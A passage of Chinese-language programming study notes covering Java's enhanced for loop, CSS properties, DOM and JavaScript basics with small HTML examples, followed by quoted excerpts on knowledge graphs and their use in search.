data.plot.scatter(x='A',y='C',color='LightGreen',label='Class2',ax=ax)
plt.show()

第四节:Java系列¶
这一节介绍的是Java系列,包括ava的基础内容及Java增强的for循环等,更多内容,待更新…
Java增强的for循环¶

JDK1.5中增加了增强的for循环。 缺点: 对于数组,不能方便的访问下标值; 对于集合,与使用Interator相比,不能方便的删除集合中的内容(在内部也是调用Interator). 除了简单遍历并读取其中的内容外,不建议使用增强的for循环。
一、遍历数组¶
语法为:
for (Type value : array) {
expression value;
}
`//现在我们只需这样写(和以上写法是等价的):`
void someFunction ()
{
int[] array = {1,2,5,8,9};
int total = 0;
for (int n : array)
{
total += n;
}
System.out.println(total);
}
这种写法的缺点: 显而易见,for/in(for each)循环自动控制一次遍历数组中的每一个元素,然后将它赋值给一个临时变量(如上述代码中的int n),然后在循环体中可直接对此临时变量进行操作。这种循环的缺点是: 1. 只能顺次遍历所有元素,无法实现较为复杂的循环,如在某些条件下需要后退到之前遍历过的某个元素; 2. 循环变量(i)不可见,如果想知道当前遍历到数组的第几个元素,只能这样写:
int i = 0;
for (int n : array) {
System.out.println("This " + i + "-th element in the array is " + n);
i++;
}
二、遍历集合¶
语法为: java for (Type value : Iterable) { expression value; }
** 注意:for/in循环遍历的集合必须是实现Iterable接口的。** //以前我们这样写:
void someFunction ()
{
List list = new ArrayList();
list.add("Hello ");
list.add("Java ");
list.add("World!");
String s = "";
for (Iterator iter = list.iterator(); iter.hasNext();)
{
String temp= (String) iter.next();
s += temp;
}
System.out.println(s);
}
//现在我们这样写:
void someFunction (){List list = new ArrayList();list.add("Hello ");list.add("Java ");list.add("World!");String s = "";for (Object o : list){String temp = (String) o;s += temp; }System.out.println(s);}
// 如果结合“泛型”,那么写法会更简单,如下:`
void someFunction ()
{
List list = new ArrayList();
list.add("Hello ");
list.add("Java ");
list.add("World!");
String s = "";
for (String temp : list)
{
s += temp; //省去了对强制类型转换步骤
}
System.out.println(s);
}
//上述代码会被编译器转化为:
void someFunction ()
{
List list = new ArrayList();
list.add("Hello ");
list.add("Java ");
list.add("World!");
String s = "";
for (Iterator iter = list.iterator(); iter.hasNext(); )
{
String temp = iter.next();
s += temp;
}
System.out.println(s);
}
这种写法的缺点: 虽然对集合进行的for/in操作会被编译器转化为Iterator操作,但是使用for/in时,Iterator是不可见的,所以如果需要调用Iterator.remove()方法,或其他一些操作, for/in循环就有些力不从心了。 综上所述,Java 5.0中提供的增强的for循环——for/in(for each)循环能让我们的代码更加简洁,让程序员使用时更加方便,但是也有它的局限性,所以一定要根据实际需要有选择性地使用,不要盲目追求所谓的“新特性”。
第五节:js系列¶
这一节介绍的是js系列,包括javascript的基础内容及html、css等,更多内容,待更新…
CSS杂谈¶
1.CSS text-indent属性¶
定义文本首行的缩进(在首行文字之前插入指定的长度) 可以是具体的值,如:20px;也可以是继承父类缩进:inherit。
2.background¶
简写属性在一个声明中设置所有的背景属性。
可以设置如下属性:
background-color
background-position
background-size
background-repeat
background-origin
background-clip
background-attachment
background-image
3.text-decoration¶
定义文本是否有划线以及划线的方式
取值:none | [ underline || overline || line-through || blink ] | inherit
none: 定义正常显示的文本
[underline || overline || line-through || blink]: 四个值中的一个或多个
underline: 定义有下划线的文本
overline: 定义有上划线的文本
line-through: 定义直线穿过文本
blink: 定义闪烁的文本
inherit: 继承
4.字体加粗属性¶
font-weight:blod或者具体值,例:200;
5.CSS A link hover active visited伪类超链接锚文本样式¶
介绍这4个常见伪类作用与解释
1、a:link
设置a对象在未被访问前(未点击过和鼠标未经过)的样式表属性。也就是html a锚文本标签的内容初始样式。
2、a:hover
设置对象在其鼠标悬停时的样式表属性,也就是鼠标刚刚经过a标签并停留在A链接上时样式。
3、a:active
设置A对象在被用户激活(在鼠标点击与释放之间发生的事件)时的样式表属性。也就是鼠标左键点击html A链接对象与释放鼠标右键之间很短暂的样式效果。
4、a:visited
设置a对象在其链接地址已被访问过时的样式表属性。也就是html a超链接文本被点击访问过后的CSS样式效果。
6.字体样式¶
font-style:italic/斜体/
7.div#top———–div跟多个id选择器连在一块写,中间不能有空格。¶
8.CSS white-space 属性¶
p
{
white-space:nowrap;
}
normal 默认。空白会被浏览器忽略。
pre 空白会被浏览器保留。其行为方式类似 HTML 中的 <pre> 标签。
nowrap 文本不会换行,文本会在在同一行上继续,直到遇到 <br> 标签为止。
pre-wrap 保留空白符序列,但是正常地进行换行。
pre-line 合并空白符序列,但是保留换行符。
inherit 规定应该从父元素继承 white-space 属性的值。
9.CSS display 属性¶
常用属性:
none 此元素不会被显示。
block 此元素将显示为块级元素,此元素前后会带有换行符。
inline 默认。此元素会被显示为内联元素,元素前后没有换行符。
inline-block 行内块元素。(CSS2.1 新增的值)
10.form表单补充¶
<form action="" method="post">
<fieldset>/*对form表单添加了一个边框*/
<legend>用户高级选项</legend> /*对边框进行了赋值*/
<p><label>生日</label><input type="text"/></p>
<p><label>住址</label><input type="password"/></p>
<p><label>电话号码</label><input type="password"/></p>
</fieldset>
</form>
11.label¶
标签定义及使用说明 <label标签为 input 元素定义标注(标记)。 label 元素不会向用户呈现任何特殊效果。不过,它为鼠标用户改进了可用性。如果您在 label 元素内点击文本,就会触发此控件。就是说,当用户选择该标签时,浏览器就会自动将焦点转到和标签相关的表单控件上。 <label标签的 for 属性应当与相关元素的 id 属性相同。
<form action="demo_form.asp">
<label for="male">Male</label>
<input type="radio" name="sex" id="male" value="male"><br>
<label for="female">Female</label>
<input type="radio" name="sex" id="female" value="female"><br>
<input type="submit" value="提交">
</form>
12.Textarea 对象
Textarea 对象代表 HTML 表单中的一个文本域 (text-area)。HTML 表单的每一个
<textarea>
标签,都能创建一个Textarea 对象。
13.list-style:none¶
取消列表风格
14.百分比控制宽度¶
width属性在设置宽度值时,直接表示居中效果,用百分比设置可以理解为相对于父布局所占的宽度。
15.CSS在HTML中的引用方式¶
在HTML中引入CSS共有3种方式: > > (1)外部样式表; > (2)内部样式表; > (3)内联样式表;
CSS的3种引用方式
1、外部样式表
外部样式表是最理想的CSS引用方式,在实际开发当中,为了提升网站的性能和维护性,一般都是使用外部样式表。所谓的“外部样式表”,就是把CSS代码和HTML代码都单独放在不同文件中,然后在HTML文档中使用link标签来引用CSS样式表。
当样式需要被应用到多个页面时,外部样式表是最理想的选择。使用样式表,你就可以通过更改一个CSS文件来改变整个网站的外观。
外部样式表在单独文件中定义,并且在
标签对中使用link标签来引用。
举例:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<!--在HTML页面中引用文件名为index的css文件-->
<link href="index.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div></div>
</body>
</html>
说明:
外部样式表都是在head标签内使用link标签来引用的。
2、内部样式表 内部样式,指的就是把CSS代码和HTML代码放在同一个文件中,其中CSS代码放在
标签对内,并且
标签对是放在
标签对内的。
举例:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<!--这是内部样式表,CSS样式在style标签中定义-->
<style type="text/css">
p{color:Red;}
</style>
</head>
<body>
<p>哒哒</p>
<p>哒哒</p>
<p>哒哒</p>
</body>
</html>
3、内联样式表
内联样式表,也是把CSS代码和HTML代码放在同一个文件中,但是跟内部样式表不同,CSS样式不是在<style></style>
标签对中定义,而是在标签的style属性中定义。
举例:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<p style="color:Red; ">哒哒</p>
<p style="color:Red; ">哒哒</p>
<p style="color:Red; ">哒哒</p>
</body>
</html>

Dom¶
1.找到标签¶
-直接找
获取单个元素document.getElementById('i1')
获取指定标签名的元素子元素集合document.getElementsByName('***')
获取多个元素(列表)document.getElementsByTagName('div')
获取多个元素(列表)document.getElementsByClassgName('c1')
-间接找
parentElement 父节点标签元素
children 所有子元素
lastElementChild 最后一个子标签元素
nextElementChile 下一个兄弟标签元素
previousElementSibling 上一兄弟标签元素
2.操作标签¶
a.innerText
获取标签中的文本内容,而innerHTML全内容包含标签
标签.innerText #仅文本
对标签内部文本进行重新复制
标签.innerText=""
b.classname
tag.className直接整体做操作
tag.classList.add('样式名') 添加指定样式
tag.classList.remove('样式名') 删除指定样式
PS:
<idv onclick='unc();'>点我</div>
<script>
function func(){
}
</script>
c.value
input value获取当前标签中的值
select 获取选中的value的值
selectedIndex 获取选中的index
textarea value获取当前标签中的值
实例:
<div id="i1">我是i1</div>
<a>sad</a>
<a>23</a>
<a>kse</a>
输入:document.getElementById('i1')
输出:<div id="i1">我是i1</div>
输入:document.getElementById('i1').innerText
输出:"我是i1"
输入:targs=document.getElementsByTagName('a');
输出:HTMLCollection(3) [a, a, a]
输入:targs[0].innerText;
输出:"sad"
输入:targs[0].innerText=777
输出:777
输入:for(var i=0;i<targs.length;i++){targs[i].innerText=777;}
输出:777
<div>
<div></div>
<div>
c1
</div>
</div>
<div>
<div></div>
<div id="i1">
c2
</div>
</div>
<div>
<div></div>
<div>
c3
</div>
</div>
tag=document.getElementById('i1')
<div id="i1">
c2
</div>
tag.parentElement
<div>
<div></div>
<div id="i1">
c2
</div>
</div>
tag.parentElement.children
HTMLCollection(2) [div, div#i1, i1: div#i1]
tag.parentElement.previousElementSibling
<div>
<div></div>
<div>
c1
</div>
</div>
tag.parentElement.nextElementSibling
<div>
<div></div>
<div>
c3
</div>
</div>
tag.className="c2"
"c2"
tag
<div id="i1" class="c2">
c2
</div>
tag.classList
DOMTokenList ["c2", value: "c2"]
tag.classList.add('c3')
<div id="i1" class="c2 c3">
c2
</div>
3.实例之模态对话框¶
<style>
.hide{
display: none;
}
.c1 {
position: fixed;
left: 0;
right: 0;
top: 0;
bottom: 0;
background-color: black;
opacity: 0.6;
z-index: 9;
}
.c2{
width: 500px;
height: 400px;
background-color: white;
position: fixed;
left: 50%;
top: 50%;
margin-left: -250px;
margin-top: -200px;
z-index: 10;
}
</style>
<body style="margin:0;">
<div>
<input type="button" value="添加" onclick="ShowModel();"/>
<table>
<thead>
<tr>
<th>主机名</th>
<th>端口</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.1.1.1</td>
<td>190</td>
</tr>
<tr>
<td>1.1.1.2</td>
<td>192</td>
</tr>
<tr>
<td>1.1.1.3</td>
<td>193</td>
</tr>
</tbody>
</table>
</div>
<!--遮罩层开始-->
<div class="c1 hide" id="i1"></div>
<!--遮罩层结束-->
<!--弹出框开始-->
<div class="c2 hide" id="i2">
<p><input type="text"/></p>
<p><input type="text"/></p>
<p>
<input type="button" value="取消" onclick="HideModel()"/>
<input type="button" value="确定"/>
</p>
</div>
<!--弹出框结束-->
<script>
/* 点击添加出现模态对话框*/
function ShowModel() {
document.getElementById('i1').classList.remove('hide');
document.getElementById('i2').classList.remove('hide');
}
/*点击取消去掉模态对话框*/
function HideModel() {
document.getElementById('i1').classList.add('hide');
document.getElementById('i2').classList.add('hide');
}
</script>
</body>
4.实例之模态对话框+全选反选及取消¶
checkbox
获取值
checkbox对象.checked
设置值
checkbox对象.checked = true
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
.hide{
display: none;
}
.c1 {
position: fixed;
left: 0;
right: 0;
top: 0;
bottom: 0;
background-color: black;
opacity: 0.6;
z-index: 9;
}
.c2{
width: 500px;
height: 400px;
background-color: white;
position: fixed;
left: 50%;
top: 50%;
margin-left: -250px;
margin-top: -200px;
z-index: 10;
}
</style>
</head>
<body style="margin:0;">
<div>
<input type="button" value="添加" onclick="ShowModel();"/>
<input type="button" value="全选" onclick="ChooseAll();"/>
<input type="button" value="取消" onclick="CancelAll();"/>
<input type="button" value="反选" onclick="ReverseAll();"/>
<table>
<thead>
<tr>
<th>选择</th>
<th>主机名</th>
<th>端口</th>
</tr>
</thead>
<tbody id="tb">
<tr>
<td><input type="checkbox"/></td>
<td>1.1.1.1</td>
<td>190</td>
</tr>
<tr>
<td><input type="checkbox"/></td>
<td>1.1.1.2</td>
<td>192</td>
</tr>
<tr>
<td><input type="checkbox"/></td>
<td>1.1.1.3</td>
<td>193</td>
</tr>
</tbody>
</table>
</div>
<!--遮罩层开始-->
<div class="c1 hide" id="i1"></div>
<!--遮罩层结束-->
<!--弹出框开始-->
<div class="c2 hide" id="i2">
<p><input type="text"/></p>
<p><input type="text"/></p>
<p>
<input type="button" value="取消" onclick="HideModel()"/>
<input type="button" value="确定"/>
</p>
</div>
<!--弹出框结束-->
<script>
/* 点击添加出现模态对话框*/
function ShowModel() {
document.getElementById('i1').classList.remove('hide');
document.getElementById('i2').classList.remove('hide');
}
/*点击取消去掉模态对话框*/
function HideModel() {
document.getElementById('i1').classList.add('hide');
document.getElementById('i2').classList.add('hide');
}
function ChooseAll() {
var tbody = document.getElementById('tb');
//获取所有的tr
var tr_list=tbody.children;
for (var i=0;i<tr_list.length;i++){
//循环所有的tr,current_tr
var current_tr=tr_list[i];
var checkbox=current_tr.children[0].children[0];
checkbox.checked=true;
}
}
function CancelAll() {
var tbody = document.getElementById('tb');
var tr_list=tbody.children;
for (var i=0;i<tr_list.length;i++){
var current_tr=tr_list[i];
var checkbox=current_tr.children[0].children[0];
checkbox.checked=false;
}
}
function ReverseAll() {
var tbody = document.getElementById('tb');
var tr_list=tbody.children;
for (var i=0;i<tr_list.length;i++){
var current_tr=tr_list[i];
var checkbox=current_tr.children[0].children[0];
if (checkbox.checked==true){
checkbox.checked=false;
}else{
checkbox.checked=true;
}
}
}
</script>
</body>
5.实例之后台管理左侧菜单¶
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
.hide{
display: none;
}
.item .header{
height: 35px;
background-color: #2459a2;
color: white;
line-height: 35px;
}
</style>
</head>
<body>
<div style="height: 48px"></div>
<div style="width: 300px">
<div class="item">
<div id='i1' class="header" onclick="ChangeMenu('i1');">菜单1</div>
<div class="content">
<div>内容1</div>
<div>内容1</div>
<div>内容1</div>
</div>
</div>
<div class="item">
<div id='i2' class="header" onclick="ChangeMenu('i2');">菜单2</div>
<div class="content hide">
<div>内容2</div>
<div>内容2</div>
<div>内容2</div>
</div>
</div>
<div class="item">
<div id='i3' class="header" onclick="ChangeMenu('i3');">菜单3</div>
<div class="content hide">
<div>内容3</div>
<div>内容3</div>
<div>内容3</div>
</div>
</div>
<div class="item">
<div id='i4' class="header" onclick="ChangeMenu('i4');">菜单4</div>
<div class="content hide">
<div>内容4</div>
<div>内容4</div>
<div>内容4</div>
</div>
</div>
</div>
<script>
function ChangeMenu(nid){
var current_header = document.getElementById(nid);
var item_list = current_header.parentElement.parentElement.children;
for(var i=0;i<item_list.length;i++){
var current_item = item_list[i];
current_item.children[1].classList.add('hide');
}
current_header.nextElementSibling.classList.remove('hide');
}
</script>
</body>
</html>
6.实例之input输入框默认显示请输入关键字,tab键/鼠标点击后,这些文字消失,移出输入框,则又重新显示请输入关键字¶
方法一:js+dom实现
<div style="width: 600px;margin: 0 auto;">
<input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字"/>
</div>
<script>
function Focus() {
var tag=document.getElementById('i1');
var val=tag.value;
if(val=="请输入关键字"){
tag.value="";
}
}
function Blur() {
var tag=document.getElementById('i1');
var val=tag.value;
if(val==""){
tag.value="请输入关键字";
}
}
</script>
方法二:针对最新浏览器,HTML input标签中placeholder属性自带这种效果
<input placeholder="请输入关键字">
7.Dom样式操作¶
>代表输入,<代表输出
>obj=document.getElementById('i1')
<input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字">
>obj.className="c1 c2"
<"c1 c2"
>obj
< <input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字" class="c1 c2">
>obj.classList
<DOMTokenList(2) ["c1", "c2", value: "c1 c2"]
>obj.classList.add('c3')
<undefined
>obj
<<input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字" class="c1 c2 c3">
>obj.classList.remove('c2')
<undefined
>obj
<<input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字" class="c1 c3">
>obj.style.fontSize='16px'
<<input id="i1" onfocus="Focus();" onblur="Blur()" type="text" value="请输入关键字" class="c1 c3" style="font-size: 16px;">
8.属性操作¶
>obj=document.getElementById('i1')
< <input id="i1" onfocus="Focus();" onblur="Blur()" value="请输入关键字" type="text">
>obj.setAttribute('new_attr','new_value')
<undefined
>obj
< <input id="i1" onfocus="Focus();" onblur="Blur()" value="请输入关键字" new_attr="new_value" type="text">
>obj.removeAttribute('new_attr')
<undefined
>obj
< <input id="i1" onfocus="Focus();" onblur="Blur()" value="请输入关键字" type="text">
>obj.attributes
<NamedNodeMap [ id="i1", onfocus="Focus();", onblur="Blur()", value="请输入关键字", type="text" ]
9.创建标签,并添加到HTML中¶
<input type="button" onclick="AddEle();" value="+"/>
<div id="i1">
<p><input type='text'/></p>
</div>
<script>
//方法一
// function AddEle() {
// //创建一个标签
// //将标签添加大i1里面
// var tag = "<p><input type='text'/></p>";
// 注意第一个参数只能是'beforeEnd'、'beforeBegin'、'afterBegin'、'afterEnd'
// document.getElementById('i1').insertAdjacentHTML('beforeEnd',tag);
// tag为div中的内容,根据tag位置区别上述四个区别。
beforeBegin text
<div>beforeBegin html</div>
<div id="tag">
afterBegin text
<div>afterBegin html</div>
tag
<div>beforeEnd html</div>
beforeEnd text
</div>
afterEnd text
<div>afterEnd html</div>
// }
//方法二
function AddEle() {
var tag = document.createElement('input');
tag.setAttribute('type', 'text');
document.getElementById('i1').appendChild(tag);
}
</script>
上述两者区别,方法一中insertAdjacentHTML第二个参数传递的是字符串,方法二中appendChild中传递的是标签对象。
10.提交表单¶
任何标签通过DOM都可提交表单
<form id="f1" action="http://www.baidu.com">
<input type="text"/>
<input type="submit" value="提交"/>
<a onclick="submitForm()">提交另一种方式</a>
</form>
<script>
function submitForm() {
document.getElementById('f1').submit()
}
</script>
11.其他¶
console.log 输出框
alert 弹出框
confirm 确认框
location.href 获取url
location.href="http://www.baidu.com" 重定向,跳转
location.href=location.href<<=>>location.reload() 页面刷新
var obj = setInterval(function(){
},5000) 设置定时器 一直执行
clearInterval(obj) 清除定时器
setTimeout()用法同上,定时器只执行一次。
setTimeout实例:qq邮箱删除邮件上面提示已删除,倒计时几秒后自动取消。
clearTimeou() 清除
<div id="status"></div>
<input type="button" value="删除" onclick="deleteEle();">
<script>
function deleteEle() {
document.getElementById('status').innerText='已删除';
setTimeout(function () {
document.getElementById('status').innerText='';
},5000);
}
</script>
12.事件¶
onclick,onblur,onfocus,onmouseover,onmouseout
去掉div中的事件
在script标签中获取div
例如:var mydiv=document.getElementById("test");然后在后面为获得的div添加onclick事件:
mydiv.onclick=function(){
console.log("asd");
},这样做的好处是做好了行为、样式、结构相分离。
<!--代码分离实例-->
<table border="1" width="300px">
<tr><td>1</td><td>2</td><td>3</td></tr>
<tr><td>1</td><td>2</td><td>3</td></tr>
<tr><td>1</td><td>2</td><td>3</td></tr>
</table>
<script>
var myTrs = document.getElementsByTagName("tr");
var len=myTrs.length;
for(var i=0;i<len;i++){
myTrs[i].onmouseover=function () {
//谁调用这个函数,this就指向谁,这里不能写myTrs[i].style.backgroundColor="red";作用域问题(当触发此事件时i一直都是2)
this.style.backgroundColor = "red";
}
myTrs[i].onmouseout=function () {
//谁调用这个函数,this就指向谁
this.style.backgroundColor = "";
}
}
</script>
绑定事件两种方式:
a.直接标签绑定 onclick='xxx()' onfocus
b.先获取Dom对象,然后进行绑定
document.getElementById('xx').onclick
document.getElementById('xx').onfocus
this,当前触发事件的标签
a.第一种绑定方式
<input type='button' onclick='ClickOn(this)'>
function ClickOn(self){
//self当前点击的标签
}
b.第二种绑定方式
<input id='i1' type='button'>
doucument.getElementById('i1').onclick=function{
this 代指当前点击的标签
}

javascript基础¶
1.js初识¶
JavaScript
独立的语言,浏览器具有js解释器
JavaScript代码存在形式:
-Head中
# 默认为javascript代码,也可以添加type="text/javascript"
<script>
//javascript代码
</script>
-body中
-文件
<script src='js文件路径'></script>
解释器从上到下依次执行,如果scrip标签放在head中,若加载不出来,则body中标签内容不会显示,为了避免出现这种问题,则采用:js代码放置在<body>标签内部的最下方
存在于HTML中
<script>标签中内容单行注释用//,多行注释用/* */
-写js代码:
可以在HTML文件中编写;临时,浏览器的终端console
2.变量¶
name='***' # 全局变量
var name='***' # 局部变量
3.数据类型¶
3.1数字
a="18" #顶一个全局变量a,存储字符串18
i=parseInt(a) #将字符串转化为int,并保存至i变量
a=18; #定义了一个int型数据
3.2字符串
a="asq"
a.charAt(0) #获取到了字符
a.substring(起始位置,结束位置 ) #取出大于等于起始位置且小于结束位置的字符串
a.lenght #获取当前字符串长度
3.2.1定时器实例
<script>
function f1() {
console.log(1)
}
//创建一个定时器
//setInterval("alert(123);",2000)
setInterval("f1();",2000);
</script>
3.2.2跑马灯实例
<div id="i1">欢迎老男孩莅临指导</div>
<script>
function change(){
// 根据ID获取指定标签的内容,定义局部变量接收
var tag=document.getElementById('i1');
var content=tag.innerText;
// 获取标签内部的内容
var f=content.charAt(0);
var l=content.substring(1,content.length);
var new_content=l+f;
tag.innerText=new_content;
}
setInterval("change()",2000)
</script>
字符串的split()函数
>a="5456630"
<"5456630"
>a.split('6')
<["545", "", "30"]
3.3布尔
python大写 TRUE、FALSE
js小写 true、false
3.4列表(数组)
python中称列表,而js中称数组
a=[11,22,33]
a.splice(start,deleteCount,value,..)插入、删除或替换数组的元素
a.splice(1),则删除index=1及以后的所有元素,只剩下index为0的元素
a.splice(1,0,99)在index=1处删除0个元素,并插入99
a.join('分隔符')
例如:a.join('-') #11-22-33 将数组转化为字符串
3.5字典
a={'k1':'v1','k2':'v2'}
>
4.for循环¶
1.循环输出值
a=[11,22,33]
for(var item in a){
#循环输出索引console.log(item);
console.log(a[item]);
}
2.循环输出key
a={'k1':'v1','k2':'v2'}
for(var item in a){
console.log(item);
#循环输出valueconsole.log(a[item]);
}
3.有序的循环,不支持字典
a=[11,22,33]
for(var i=0;i<a.length;i=i+1){
console.log(a[i])
}
# 条件语句
if(条件){
}else if(条件){
}else{
}
==与===的区别
==表示只需要满足值相等,而===表示类型与值均要相等。
例如:
1=="1"
true
1==="1"
false
## 函数
function 函数名(a,b,c){
}
函数名(1,2,3)
5.函数¶
普通函数:
function func(){
}
匿名函数:
function func(arg){
return arg+1
}
setInterbal("func()",5000);
setInterbal(function(){
console.log(123);
},5000);
自执行函数:
function func(arg){
console.log(arg);
}
func()
//自动创建并执行
(function func(arg){
console.log(1);
})(1)
6.js序列化及转义¶
//JSON.stringify 将对象转换为字符串
//列表转字符串
li=[11,22,33,4,5]
s=JSON.stringify(li)
//JSON.parse 将字符串转换为对象类型
//字符串转列表
newLi=JSON.parse(s)
7.eval¶
python:
val=eval(表达式)
exec(执行代码)
JavaScript:
eval # 既能跟表达式又能跟执行代码
8.时间¶
Date
var d=new Date()
d.getxxx 获取
d.setxxx 设置
9.作用域¶
其他语言:以代码块作为作用域
python中以函数作为作用域
1.javascript以函数作为作用域;
2.函数的作用域在函数未被调用之前,已经创建;
3.函数的作用域存在作用域链(一层套一层),并且也是在被调用之前创建。
4.函数内局部变量提前声明
function func(){
console.log(xxoo);
}
func();
//程序直接报错
function func(){
console.log(xxoo);
var xxoo=''alex;
}
func();
//undefined
在JavaScript中国var n未赋值,则为undefined
在进入函数中,会生成作用链,找到内部所有的局部变量,执行局部变量声明。例如第二个代码,生成作用链后,找到了局部变量xxoo,则在函数外面会声明var xxoo,此时未赋值,则结果为undefined
10.JavaScript面向对象¶
function foo(){
var xo='alex';
}
foo()
function foo(){
this.name='alex';
}
var obj=new foo();
obj.name
原型:
function Foo(n){
this.name=n;
}
# Foo的原型
Foo.prototype={
'sayName':function(){
console.log(this.name)
}
}
obj1=new Foo('we');
obj1.satName();
obj2=new Foo('wee');
11.词法分析¶
<script>
function t1(age){
console.log(age); // function age()
var age=27;
console.log(age); //27
function age(){}
console.log(age); //27
}
t1(3);
</script>
JavaScript在创建的时候会对function进行词法分析,函数会在创建时形成一个活动对象,ActiveObject,简称AO
1.分析形式参数:此例为age,即生成一个AO.age=undefined的活动对象==>然后根据进行赋值AO.age=3。
分析局部变量;
2.在第三行有一个局部变量,跟age重名,此时会生成一个AO.age=undefined的活动对象,AO.age=3会被覆盖;
3.分析函数声明表达式:此时声明了一个age的函数。所以此时的活动变量为:AO.age=function。优先级最高。
词法分析结束后函数开始执行,此时的AO.age=function,函数执行时会首先从AO中获取值,所以会首先将function赋给age,所以整个函数的输出为:
function
27
27
第二章:知识图谱¶
这一章介绍的是有关知识图谱的资料汇集 ,以及项目可视化、部署等,更多内容,待更新…

第一节:知识图谱相关文献¶
5.探秘未来偶像:知识图谱如何给AI“生命感”¶
其中有几句话写的非常好:¶
知识图谱的作用,就是将不同的知识相互关联,并形成一个网状的知识结构,帮助人工智能增强认知、理解行业并且建立“世界观”。这一点在人机交互中体现的更为明显,比如在用户向语音助手询问“《天龙八部》里的阿紫”时,普通的语音助手只能调用搜索引擎原样搜索用户所说的话,一一展示出指向连接。但建立在知识图谱之上,语音助手可以分别提供出小说、电视剧、电影等等多个版本《天龙八部》中阿紫这一角色的相关信息。
引自邵浩博博士¶
知识图谱的发展之所以相比深度学习、神经网络较慢,是因为知识图谱的建立过程非常复杂:将非结构化数据转变成结构化数据已经是一项繁重的工作,还需要建立数据之间的对应关系。如何保证知识的权威性,更需要技术专家和学术专家一同跨领域合作。
6.智能搜索时代:知识图谱有何价值?¶
搜索引擎的技术基石是什么?¶
自然语言处理技术,不论是爬取、处理和索引网页,还是理解用户的搜索诉求,关键技术就是自然语言处理技术。五年前这个答案是正确的,今天再来看这个问题,答案已经变成了知识图谱。
当构建了知识图谱,就可以利用它来让搜索变得更加智能。¶
一方面,有知识图谱等于对世界有了认知,再加上自然语言处理技术,可以理解用户的自然语言、听懂用户的语音命令,理解各种内容进而更好地匹配答案。另一方面,基于知识图谱和自然语言处理技术孵化出了许多创新的智能搜索产品,如智能问答、对话式搜索、信息流等等,比如被视作“被动搜索引擎”的信息流,每个用户看到的结果都不一样,看了一篇文章的行为会决定接下来会被推荐什么,一切都是动态的,而其基础除了用户理解和内容理解技术以外,同样包括知识图谱:内容被建立了图谱,用户被贴上了标签(画像),进而智能推荐。
谁主宰了知识图谱?¶
谷歌是知识图谱的始作俑者,而在知识图谱的探索上,百度在中国走在了前面,2014年上半年就已开始提供线上服务,四年的时间线上服务量整体上增长了300多倍,正是因为构建了知识图谱,所以百度能够提供跟五年前截然不同的智能搜索体验。
王海峰是自然语言处理领域的顶尖专家,是百度AI技术的奠基人,也是百度知识图谱的推动者。¶
王海峰认为,“互联网很大程度是真实世界的一个镜像,而搜索引擎又是互联网的一个镜像,所以,搜索引擎很大程度上成了真实世界的镜像。”知识图谱是搜索引擎描述和映射真实世界的关键
知识图谱不只是改变搜索¶
智能搜索是知识图谱最典型的应用,不过,既然知识图谱的本质是数字世界对真实世界的认知的构建,它的应用场景就不只是智能搜索。
王海峰提到¶
知识是人工智能的基础,知识对于人工智能的价值就在于让机器具备认知能力。
知识图谱在AI地位¶
伴随着互联网+的浪潮,人工智能渗透到各行各业成为一个大趋势,它要在不同行业发挥作用的关键,就是构建知识图谱。
最后总结一句话¶
前最热门的新技术,IoT(物联网)、区块链,其本质都是为了更好地映射真实世界——IoT更好地感知世界,区块链解决现实世界的信任问题。通过映射真实世界得到数据后,再由AI进行智能化的处理,进而给出反馈,只要涉及到映射真实世界,知识图谱都是不可或缺的技术,可见其应用将远远不止智能搜索,百度在知识图谱上的积累将会进一步释放出价值。百度使命是让复杂的世界更简单,理解这个复杂的世界,将其映射为机器可以理解的知识图谱,也是必经之路。
7.语义网(知识图谱)是什么?有什么好处?¶
机器和机器的摩擦,就是机器怎么有效地把一个信息传送给另一个机器?¶
各种网络协议都在不同层次上解决这个问题。和语义网特别相关的有两个。一个是XML,帮助机器建立一个交换数据的语言。一个是RSS,让博客的传播变得自动化。各个不同的领域都有自己的这种语言,比如金融领域的XBRL,医疗领域有HL7,图书馆领域都DC,等等。这些语言有些人叫模式(schema),有些人叫元数据(metadata),有些人叫本体(ontology),本质上都是促进机器之间通信的手段。
那减少人机界面的摩擦呢?¶
这个就是强调,如何利用元数据让用户来探索,来发现。比如寄包裹那个例子,如果信封上只印二维码可以吗?不可以,大多数人不会写二维码的(对应到语义网,大多数人不会去写元数据的),也看不懂。你必须提供工具让寄信的人、邮递员、收信的人都一眼就明白,哦,这个包裹从哪里来到哪里去。比如Faceted Browser,就是让用户在交互的过程中逐渐找到最需要的信息。还有各种可视化Visualization,特别是交互式的可视化,把数据变成特别容易理解的形式。再有社交媒体上现在越来越多的元数据,如Facebook Open Graph, Twitter Card,这些都是帮助用户集成信息,更直接地看到信息,发现信息的手段。
8.百度王海峰:知识图谱是AI的基石¶
普通搜索跟百度搜索+知识图谱区别¶
传统的搜索是搜索一个内容,主流搜索引擎一页给10个结果。有了知识图谱的支撑,我们可以给用户更直接的答案,并以一种更友好的方式呈现。比如第一个例子是搜索“胡歌”,大家看到图文并茂的结果,需要的常用信息放在这儿。第二个问“太阳的重量”,虽然网页也能找到,但不如直接把重量给出来。最右边的例子是用户搜索“孙俪”,除了给一些孙俪的信息出来,还会有相关的人、作品等等。我们把相关的影视作品推荐出来,用户可能感兴趣,比如《那年花开月正圆》,在界面一点就可以进入《那年花开月正圆》的页面。
第二节:RDB、RDF及本体映射¶
